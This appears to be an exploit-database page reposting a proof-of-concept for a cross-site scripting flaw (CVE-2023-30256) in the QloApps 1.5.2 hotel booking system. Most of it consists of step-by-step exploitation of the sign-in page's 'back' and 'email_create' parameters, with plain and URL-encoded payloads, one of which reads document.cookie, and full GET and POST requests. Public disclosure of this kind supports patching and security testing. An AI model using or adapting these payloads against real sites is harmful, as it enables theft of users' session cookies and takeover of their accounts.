Webkul qloapps 1.5.2 crosssite scripting (xss) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2023-05-23 | Type : webapps | Platform : php
This exploit / vulnerability Webkul qloapps 1.5.2 crosssite scripting (xss) is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Webkul Qloapps 1.5.2 - Cross-Site Scripting (XSS)
# Date: 15 May 2023
# Exploit Author: Astik Rawat (ahrixia)
# Vendor Homepage: https://qloapps.com/
# Software Link: https://github.com/webkul/hotelcommerce
# Version: 1.5.2
# Tested on: Kali Linux 2022.4
# CVE : CVE-2023-30256

Description:

A Cross Site Scripting (XSS) vulnerability exists in Webkul Qloapps which is a free and open-source hotel reservation & online booking system written in PHP and distributed under OSL-3.0 Licence.

Steps to exploit:
1) Go to Signin page on the system.
2) There are two parameters which can be exploited via XSS
- back
- email_create

2.1) Insert your payload in the "back"- GET and POST Request
Proof of concept (Poc):
The following payload will allow you to execute XSS -

Payload (Plain text):
xss onfocus=alert(1) autofocus= xss

Payload (URL Encoded):
xss%20onfocus%3dalert(1)%20autofocus%3d%20xss

Full GET Request (back):
[http://localhost/hotelcommerce-1.5.2/?rand=1679996611398&controller=authentication&SubmitCreate=1&ajax=true&email_create=a&back=xss%20onfocus%3dalert(1)%20autofocus%3d%20xss&token=6c62b773f1b284ac4743871b300a0c4d]

2.2) Insert your payload in the "email_create" - POST Request Only
Proof of concept (Poc):
The following payload will allow you to execute XSS -

Payload (Plain text):
xss><img src=a onerror=alert(document.cookie)>xss

Payload (URL Encoded):
xss%3e%3cimg%20src%3da%20onerror%3dalert(document.cookie)%3exss

POST Request (email_create) (POST REQUEST DATA ONLY):
[controller=authentication&SubmitCreate=1&ajax=true&email_create=xss%3e%3cimg%20src%3da%20onerror%3dalert(document.cookie)%3exss&back=my-account&token=6c62b773f1b284ac4743871b300a0c4d]